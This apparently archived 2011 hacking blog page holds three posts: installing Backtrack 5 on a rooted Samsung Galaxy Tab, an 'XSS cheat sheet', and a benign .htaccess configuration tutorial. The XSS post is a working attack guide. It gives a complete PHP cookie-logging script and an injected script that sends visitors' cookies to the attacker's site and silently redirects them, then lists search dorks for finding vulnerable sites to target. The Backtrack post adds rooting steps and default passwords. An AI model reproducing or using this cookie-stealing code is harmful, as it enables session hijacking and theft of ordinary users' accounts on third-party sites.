Install Backtrack 5 On Samsung Galaxy Tab

12/05/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on">
 
<div class="gmail_quote">
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD-PsvnTVKdwvVr1xKFRMufrlD3IMN46fcGY61fqbboD9wyTzpOADFZ_6VMQ4LLrExU-4fn0IGSlwnHDXGUHs9tL0BIQUhMCy3vjtXrLmaNd1ISFzlkdPfUVPcwIA92WBwJB2Fk3tEGEcr/s1600/IMG_7595-768608.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5681247311530902882" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD-PsvnTVKdwvVr1xKFRMufrlD3IMN46fcGY61fqbboD9wyTzpOADFZ_6VMQ4LLrExU-4fn0IGSlwnHDXGUHs9tL0BIQUhMCy3vjtXrLmaNd1ISFzlkdPfUVPcwIA92WBwJB2Fk3tEGEcr/s320/IMG_7595-768608.jpg" /></a></div>
<div dir="ltr">
 
 
First thing after I get Samsung Galaxy Tab 10.1 is how can I change or add some feature about penetration testing to my Tab. So after I read "How to install Backtrack5 on Motorola Xoom by Pualdotcom, I think I can install Backtrack 5 in my Tab too. That's it. I create this tutorial after I'm successful to installing Backtrack 5 on my Tab. But please do all the steps with you risk!!!!. 
 
1. Download rooting file and transfer it to the tab 
    - <a href="http://forum.xda-developers.com/attachment.php?attachmentid=593613&d=1305168395" target="_blank">http://forum.xda-developers.com/attachment.php?attachmentid=593613&d=1305168395</a> 
 
 
 
2. Go into the recovery mode with hold "Power Button and Low Volumn Button" for rebooting and when you see the 2 icon press "Low Volumn" and press "High Volumn" or "Power Button" for go to recovery mode. 
 
3. Choose "apply the update from sdcard" and choose "rooting file" 
 
 
After this step, you're tab was rooted now. 
 
4. Download requirement files 
   -  P7500DXKH4_P7500OLBKH1_P7500XWKG1_HOME.tar.MD5  <a href="http://www.megaupload.com/?d=S6HSZL8H" target="_blank">http://www.megaupload.com/?d=S6HSZL8H</a> 
   -  001001-P7500_KI1_Restock.zip  <a href="http://www.multiupload.com/5RMKLEFCTA" target="_blank">http://www.multiupload.com/5RMKLEFCTA</a> 
   -  001003-Overcome_10.1_Series_v1.1.0_P7500_Full.zip  <a href="http://www.multiupload.com/CRBRV18830" target="_blank">http://www.multiupload.com/CRBRV18830</a> 
   -  002001-Overcome_CWM_Recovery_v4.1.1.5.tar  <a href="http://www.multiupload.com/REAMDK5J7U" target="_blank">http://www.multiupload.com/REAMDK5J7U</a> 
   -   Overclock Kernel <a href="http://droidbasement.com/galaxy/kernels/2636/20/p4-ux/boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip" target="_blank">http://droidbasement.com/galaxy/kernels/2636/20/p4-ux/boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip</a> 
 
*** you can change Overcome_10.1_Series_v1.1.0_P7500_Full.zip to another Custom ROM just like Starburt or something like that. 
 
5. Extract 001001-P7500_KI1_Restock.zip 
 
6. Go into the recovery mode with hold "Power Button and Low Volumn Button" for rebooting and when you see the 2 icon press "High Volumn" or "Power Button" for go to download mode. 
 
7. Open Odin3_v1.85 and click PDA -> P7500OXAKI1_P7500XXKI1_P7500XXKI1_HOME.tar.MD5 -> start 
 
The tab will restart after this step is done. 
 
8. Copy file Overcome_10.1_Series_v1.1.0_P7500_Full.zip and boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip to the tab 
 
9. Go to the download mode again. 
 
10. In the Odin, click PDA -> Overcome_CWM_Recovery_v4.1.1.5.tar -> start 
 
11. Go to the recovery mode 
 
12. Go to install menu -> choose zip from internal storage with data wipe -> Overcome_10.1_Series_v1.1.0_P7500_Full.zip -> install menu -> choose zip from internal storage -> boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip 
 
 
13. Now you're root and get the new custom ROM. So install Android SDK and download Backtrack5 ARM version. 
   - Android SDK <a href="http://developer.android.com/sdk/index.html#top" target="_blank">http://developer.android.com/sdk/index.html#top</a> 
   - Backtrack 5 ARM <a href="http://www.backtrack-linux.org/downloads/" target="_blank">http://www.backtrack-linux.org/downloads/</a> 
 
 
14. Copy Backtrack into your tab or use the adb for install busybox and upload Backtrack into the tab. 
   - Go to C:\Program Files\Android\android-sdk\platform-tools 
   - adb.exe shell 
   - mkdir /sdcard/BT5 
   - exit 
   - adb.exe push busybox /sdcard/ 
   - adb.exe push installbusybox.sh /sdcard 
   - adb.exe push fsrw /sdcard/BT5/ 
   - adb.exe push mountonly /sdcard/BT5/ 
   - adb.exe push bootbt /sdcard/BT5/ 
   - adb.exe push bt5.img.gz /sdcard/BT5/ 
   - adb.exe push unionfs /sdcard/BT5/ 
 
***If you use SSHDroid to enable SSHD in your tab.[Default SSH User: root and Password: admin] 
 
 
 
 
15. Go to the terminal of Tab with ConnectBot and choose local to connect in your Tab. I don't know you can use sshd to complete this step or not but you can try it for easy typing. 
 
 
16. Remove the Tab from PC. 
 
 
17. Go to /sdcard/BT5 and unzip bt5.img.gz 
   - cd /sdcard/BT5 
   - gunzip bt5.img.gz 
 
 
18. Start BT5 
   - sh bootbt 
 
 
19. So now you're in the chroot of Backtrack5 
 
net.ipv4.ip_forward = 1 
root@localhost:/# ls /pentest/ 
backdoors  database     exploits   passwords  scanners  stressing  voip 
cisco      enumeration  forensics  python     sniffers  tunneling  web 
 
 
 
 
19. Run the startvnc 
  - startvnc 
 
 
*** You can change resolution of vnc with nano /usr/bin/startvnc 
 
 
 
 
20. Now vnc is running, you can check what is the port number that was use by vnc with 
  - netstat -napt 
 
 
 
 
21. Now you can connect vnc server with androidVNC or whatever that you can find in the Android Market. 
 
 
 
*** Default password of vnc server is "toortoor" 
22. Finally you can do anything that you can do in Backtrack5 on your Tab, have a nice hack <img alt="Smiley" border="0" src="https://www.ethicalhacker.net/forum/Smileys/default/smiley.gif"> 
 
 
 
Further reading : 
<a href="http://blog.l-lacker.com/security-backtrack-5-on-a-galaxy-s-phone/" target="_blank">http://blog.l-lacker.com/security-backtrack-5-on-a-galaxy-s-phone/</a> </div>
</div>
 </div>

Tutorial Install Backtrack 5 On Samsung Galaxy Tab

First thing after I get Samsung Galaxy Tab 10.1 is how can I change or add some feature about penetration testing to my Tab. So aft...

XSS cheat sheet

12/02/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjVCtcM7W45bA5QCEb65puVxCvWKAXw4wp5In9jztsnFfzraDcLH6CAXABNxt61XI9pFnn0KlL9DG4f2bfRy0iam5OfDFa_yEXP0J84vT1Jjs_Mlrln78euRLldt4z6Xazx7pa0W7A7yis/s1600/xss-threat3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjVCtcM7W45bA5QCEb65puVxCvWKAXw4wp5In9jztsnFfzraDcLH6CAXABNxt61XI9pFnn0KlL9DG4f2bfRy0iam5OfDFa_yEXP0J84vT1Jjs_Mlrln78euRLldt4z6Xazx7pa0W7A7yis/s1600/xss-threat3.jpg" /></a></div>
 
Before we start what is XSS? let's come to basic !! hmm what is cookie , don't say something like eating stuff. 
COOKIE: 
<div class="define border-fade">
A cookie is the variable that web-browsers use to store your login credentials. Without a cookie, you cannot "stay logged in" on websites.</div>
CROSS SITE SCRIPTING: 
<blockquote>
Cross-Site Scripting is the process of injecting JavaScript (mainly) and also HTML into a webpage.</blockquote>
SOME POINTS ON XSS : 
<blockquote>
@ -XSS attacks almost always focus upon sites which use cookies for storing our username and password. 
@-XSS is used to harm the website (may be defacing ).</blockquote>
tRAdiTIOnAL Type$: type0 , type1, type2 
type 0 =DOM-based: 
 
<div>
<blockquote>
<div class="spoiler_body" style="display: block;">
DOM-based is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the slave’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.</div>
</blockquote>
type 1 = Non Persistence : 
 
<div>
<blockquote>
<div class="spoiler_body" style="display: block;">
It means that the injected code is not permanent and is for small time till the user is on page or having the url with malicious code.</div>
</blockquote>
</div>
type 2 = Persistence : 
<div>
<blockquote>
<div class="spoiler_body" style="display: block;">
It means that the injected code is permanent and will stay on the site and output can be seen by any user of site.</div>
</blockquote>
</div>
Now the question is how to check whether the site is xss vulnerable or not ? 
There are two methods to check this:</div>
<div>
 
1.POST:: <a href="http://www.target.com/search.php" target="_blank">http://www.target.com/search.php</a> ( we put malacious code in search engine)</div>
<blockquote>
<div>
<code class="prettyprint"><script>alert(“xss”);</script></code></div>
</blockquote>
2.GET: <a href="http://www.target.com/search=%3Cscript%3Ealert%28" target="_blank">http://www.target.com/search=<script>alert(</a>"xss");</script> 
We directly put the script in url of browser 
 
 what else we can do ..?? 
-->Insert image: 
<blockquote>
<code class="prettyprint"><img src=“url of the image”></img></code></blockquote>
-->Insert message: 
<div class="wobble-horizontal system">
<code>this is hacked </code></div>
 
Redirect to your page : 
<div class="wobble-horizontal command">
<code class="prettyprint"><script>window.open( "http://www.yoursite.com/" )</script></code></div>
But main aim of xss is to steal cookies so here is cookie stealing. 
COOKIE STEALING TUTORIAL: 
<div class="wobble-horizontal command">
<code class="prettyprint"><?php function GetIP() {     if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))         $ip = getenv("HTTP_CLIENT_IP");     else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))         $ip = getenv("HTTP_X_FORWARDED_FOR");     else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))         $ip = getenv("REMOTE_ADDR");     else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))         $ip = $_SERVER['REMOTE_ADDR'];     else         $ip = "unknown";     return($ip); } function logData() {     $ipLog="log.txt";     $cookie = $_SERVER['QUERY_STRING'];     $register_globals = (bool) ini_get('register_gobals');     if ($register_globals) $ip = getenv('REMOTE_ADDR');     else $ip = GetIP();     $rem_port = $_SERVER['REMOTE_PORT'];     $user_agent = $_SERVER['HTTP_USER_AGENT'];     $rqst_method = $_SERVER['METHOD'];     $rem_host = $_SERVER['REMOTE_HOST'];     $referer = $_SERVER['HTTP_REFERER'];     $date=date ("l dS of F Y h:i:s A");     $log=fopen("$ipLog", "a+");     if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))         fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie ");     else         fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");     fclose($log); } logData(); ?></code></div>
 
now how to use this code??? 
This is done by three-step process consisting of the injected script, the cookie recorder, and the log file. 
 
First you'll need to get an account on a server and create two files, log.txt and giveyourname.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (give your name.php) [code metion above]. 
above script will record the cookies of every user that views it. 
<div class="content shadow-radial">
<code class="prettyprint"><script language= "JavaScript">document.location="http://yoursite.com/giveyourname.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script></code></div>
now above code is injected to the xss vulnerable site page via get or post method: what does this code do?? 
The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don't know anything happened. 
 
 
If this code works then you'll automatically gets the cookie in yoursite, other wise you have to do some hard work !! grab the link which you get after the insertion of above script. And manually get someone to use that link if necessary. o0ps all s done at this point. 
 
##All you need to do now is go to your website and check the log file 
 
YOU CAN TRY TO LOOK HERE = 
<blockquote>
SEARCH BOX 
SHOUT BOX 
BLOGS 
COMMENT BOX 
LOGIN BOX 
FEEDBACK FORMS</blockquote>
hey there are still so many xss vulnerable sites , the thing is you should spent maximum time on internet in search for them: 
here are few dorks for you: 
<blockquote>
inurl:search.php?q= 
inurl:com_feedpostold/feedpost.php?url= 
inurl:scrapbook.php?id= 
inurl:headersearch.php?sid= 
inurl:/poll/default.asp?catid= 
inurl:/search_results.php?search= 
/preaspjobboard//Employee/emp_login.asp?msg1= 
pages/match_report.php?mid= pages/match_report.php?mid=</blockquote>
<blockquote>
inurl:?msg=</blockquote>
 
 </div>

LFI XSS XSS cheat sheet

Before we start what is XSS? let's come to basic !! hmm what is cookie , don't say something like eating stuff. COOKIE : A ...

.htaccess Tutorial

12/01/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDG-isyl8fP485LS0CmLWZQ7rBVwVBtD9k4fGBTdOPj1lROVe5sjRPcwUUEOj5cXQ7fnXmUNf0JdTVPYJzliAsa3FsJaI5JeXKKg9bKhOSz7z_m73TnpdzU2HjyzD1-tYW5jtk2GBXZyfN/s1600/htaccess.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDG-isyl8fP485LS0CmLWZQ7rBVwVBtD9k4fGBTdOPj1lROVe5sjRPcwUUEOj5cXQ7fnXmUNf0JdTVPYJzliAsa3FsJaI5JeXKKg9bKhOSz7z_m73TnpdzU2HjyzD1-tYW5jtk2GBXZyfN/s1600/htaccess.gif" /></a></div> <div class="gmail_quote"><div align="center"> .htaccess Tutorial Part 1 - Introduction</div><ul><li>Part 1 - Introduction</li><li><a href="http://rah-labs.blogspot.com/2011/12/htaccess-tutorial.html#Part2" target="">Part 2 - .htaccess Commands</a></li><li><a href="http://rah-labs.blogspot.com/2011/12/htaccess-tutorial.html#Part3" target="">Part 3 - Password Protection</a></li></ul> <div align="right" style="float: right;"></div><big>Introduction</big> In this tutorial you will find out about the .htaccess file and the power it has to improve your website. Although .htaccess is only a file, it can change settings on the servers and allow you to do many different things, the most popular being able to have your own custom 404 error pages. .htaccess isn't difficult to use and is really just made up of a few simple instructions in a text file. <big>Will My Host Support It?</big> This is probably the hardest question to give a simple answer to. Many hosts support .htaccess but don't actually publicise it and many other hosts have the capability but do not allow their users to have a .htaccess file. As a general rule, if your server runs Unix or Linux, or any version of the Apache web server it will support .htaccess, although your host may not allow you to use it. A good sign of whether your host allows .htaccess files is if they support password protection of folders. To do this they will need to offer .htaccess (although in a few cases they will offer password protection but not let you use .htaccess). The best thing to do if you are unsure is to either upload your own .htaccess file and see if it works or e-mail your web host and ask them. <big>What Can I Do?</big> You may be wondering what .htaccess can do, or you may have read about some of its uses but don't realise how many things you can actually do with it. There is a huge range of things .htaccess can do including: password protecting folders, redirecting users automatically, custom error pages, changing your file extensions, banning users with certian IP addresses, only allowing users with certain IP addresses, stopping directory listings and using a different file as the index file. <big>Creating A .htaccess File</big> Creating a .htaccess file may cause you a few problems. Writing the file is easy, you just need enter the appropriate code into a text editor (like notepad). You may run into problems with saving the file. Because .htaccess is a strange file name (the file actually has no name but a 8 letter file extension) it may not be accepted on certain systems (e.g. Windows 3.1). With most operating systems, though, all you need to do is to save the file by entering the name as: ".htaccess" (including the quotes). If this doesn't work, you will need to name it something else (e.g. htaccess.txt) and then upload it to the server. Once you have uploaded the file you can then rename it using an FTP program. <big>Warning</big> Before beginning using .htaccess, I should give you one warning. Although using .htaccess on your server is extremely unlikely to cause you any problems (if something is wrong it simply won't work), you should be wary if you are using the Microsoft FrontPage Extensions. The FrontPage extensions use the .htaccess file so you should not really edit it to add your own information. If you do want to (this is not recommended, but possible) you should download the .htaccess file from your server first (if it exists) and then add your code to the beginning. <big>Custom Error Pages</big> The first use of the .htaccess file which I will cover is custom error pages. These will allow you to have your own, personal error pages (for example when a file is not found) instead of using your host's error pages or having no page. This will make your site seem much more professional in the unlikely event of an error. It will also allow you to create scripts to notify you if there is an error (for example I use a PHP script on Free Webmaster Help to automatically e-mail me when a page is not found). You can use custom error pages for any error as long as you know its number (like 404 for page not found) by adding the following to your .htaccess file: ErrorDocument errornumber /file.html For example if I had the file notfound.html in the root direct ory of my site and I wanted to use it for a 404 error I would use: ErrorDocument 404 /notfound.html If the file is not in the root directory of your site, you just need to put the path to it: ErrorDocument 500 /errorpages/500.html These are some of the most common errors: 401 - Authorization Required 400 - Bad request 403 - Forbidden 500 - Internal Server Error 404 - Wrong page Then, all you need to do is to create a file to display when the error happens and upload it and the .htaccess file. <a href="http://www.blogger.com/post-edit.g?blogID=3385998300716176663&postID=393263756413011452" name="Part2">Part 2 </a>- .htaccess Commands <big>Introduction</big> In the last part I introduced you to .htaccess and some of its useful features. In this part I will show you how to use the .htaccess file to implement some of these. <big>Stop A Directory Index From Being Shown</big> Sometimes, for one reason or another, you will have no index file in your directory. This will, of course, mean that if someone types the directory name into their browser, a full listing of all the files in that directory will be shown. This could be a security risk for your site. To prevent against this (without creating lots of new 'index' files, you can enter a command into your .htaccess file to stop the directory list from being shown: Options -Indexes <big>Deny/Allow Certian IP Addresses</big> In some situations, you may want to only allow people with specific IP addresses to access your site (for example, only allowing people using a particular ISP to get into a certian directory) or you may want to ban certian IP addresses (for example, keeping disruptive memembers out of your message boards). Of course, this will only work if you know the IP addresses you want to ban and, as most people on the internet now have a dynamic IP address, so this is not always the best way to limit usage. You can block an IP address by using: deny from 000.000.000.000 where 000.000.000.000 is the IP address. If you only specify 1 or 2 of the groups of numbers, you will block a whole range. You can allow an IP address by using: allow from 000.000.000.000 where 000.000.000.000 is the IP address. If you only specify 1 or 2 of the groups of numbers, you will allow a whole range. If you want to deny everyone from accessing a directory, you can use: deny from all but this will still allow scripts to use the files in the directory. <big>Alternative Index Files</big> You may not always want to use index.htm or index.html as your index file for a directory, for example if you are using PHP files in your site, you may want index.php to be the index file for a directory. You are not limited to 'index' files though. Using .htaccess you can set foofoo.blah to be your index file if you want to! Alternate index files are entered in a list. The server will work from left to right, checking to see if each file exists, if none of them exisit it will display a directory listing (unless, of course, you have turned this off). DirectoryIndex index.php index.php3 <a href="http://messagebrd.pl/" target="_blank">messagebrd.pl</a> index.html index.htm <big>Redirection</big> One of the most useful functions of the .htaccess file is to redirect requests to different files, either on the same server, or on a completely different web site. It can be extremely useful if you change the name of one of your files but allow users to still find it. Another use (which I find very useful) is to redirect to a longer URL, for example in my newsletters I can use a very short URL for my affiliate links. The following can be done to redirect a specific file: Redirect /location/from/root/file.ext <a href="http://www.othersite.com/new/file/location.xyz" target="_blank">http://www.othersite.com/new/file/location.xyz</a> In this above example, a file in the root directory called oldfile.html would be entered as: /oldfile.html and a file in the old subdirectory would be entered as: /old/oldfile.html You can also redirect whole directoires of your site using the .htaccess file, for example if you had a directory called olddirectory on your site and you had set up the same files on a new site at: <a href="http://www.newsite.com/newdirectory/" target="_blank">http://www.newsite.com/newdirectory/</a> you could redirect all the files in that directory without having to specify each one: Redirect /olddirectory <a href="http://www.newsite.com/newdirectory" target="_blank">http://www.newsite.com/newdirectory</a> Then, any request to your site below /olddirectory will bee redirected to the new site, with the extra information in the URL added on, for example if someone typed in: <a href="http://www.youroldsite.com/olddirecotry/oldfiles/images/image.gif" target="_blank">http://www.youroldsite.com/olddirecotry/oldfiles/images/image.gif</a> They would be redirected to: <a href="http://www.newsite.com/newdirectory/oldfiles/images/image.gif" target="_blank">http://www.newsite.com/newdirectory/oldfiles/images/image.gif</a> This can prove to be extremely powerful if used correctly. <a href="http://www.blogger.com/post-edit.g?blogID=3385998300716176663&postID=393263756413011452" name="Part3">Part 3</a> - Password Protection <big>Introduction</big> Although there are many uses of the .htaccess file, by far the most popular, and probably most useful, is being able to relaibly password protect directories on websites. Although JavaScript etc. can also be used to do this, only .htaccess has total security (as someone must know the password to get into the directory, there are no 'back doors') <big>The .htaccess File</big> Adding password protection to a directory using .htaccess takes two stages. The first part is to add the appropriate lines to your .htaccess file in the directory you would like to protect. Everything below this directory will be password protected: AuthName "Section Name" AuthType Basic AuthUserFile /full/path/to/.htpasswd Require valid-user There are a few parts of this which you will need to change for your site. You should replace "Section Name" with the name of the part of the site you are protecting e.g. "Members Area". The /full/parth/to/.htpasswd should be changed to reflect the full server path to the .htpasswd file (more on this later). If you do not know what the full path to your webspace is, contact your system administrator for details. <big>The .htpasswd File</big> Password protecting a directory takes a little more work than any of the other .htaccess functions because you must also create a file to contain the usernames and passwords which are allowed to access the site. These should be placed in a file which (by default) should be called .htpasswd. Like the .htaccess file, this is a file with no name and an 8 letter extension. This can be placed anywhere within you website (as the passwords are encrypted) but it is advisable to store it outside the web root so that it is impossible to access it from the web. <big>Entering Usernames And Passwords</big> Once you have created your .htpasswd file (you can do this in a standard text editor) you must enter the usernames and passwords to access the site. They should be entered as follows: username:password where the password is the encrypted format of the password. To encrypt the password you will either need to use one of the premade scripts available on the web or write your own. There is a good username/password service at the KxS site which will allow you to enter the user name and password and will output it in the correct format. For multiple users, just add extra lines to your .htpasswd file in the same format as the first. There are even scripts available for free which will manage the .htpasswd file and will allow automatic adding/removing of users etc. <big>Accessing The Site</big> When you try to access a site which has been protected by .htaccess your browser will pop up a standard username/password dialog box. If you don't like this, there are certain scripts available which allow you to embed a username/password box in a website to do the authentication. You can also send the username and password (unencrypted) in the URL as follows: <a href="http://www.website.com/directory/" target="_blank">http://username:password@www.website.com/directory/</a> <big>Summary</big> .htaccess is one of the most useful files a webmaster can use. There are a wide variety of different uses for it which can save time and increase security on your website. -- Regards, Hardeep Singh</div><div dir="ltr">(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div> </div>

Basic htaccess Web Development .htaccess Tutorial

.htaccess Tutorial Part 1 - Introduction Part 1 - Introduction Part 2 - .htaccess Commands Part 3 - Password Protection Intro...

Install Backtrack 5 On Samsung Galaxy Tab

XSS cheat sheet

.htaccess Tutorial

Popular

Comments

Archive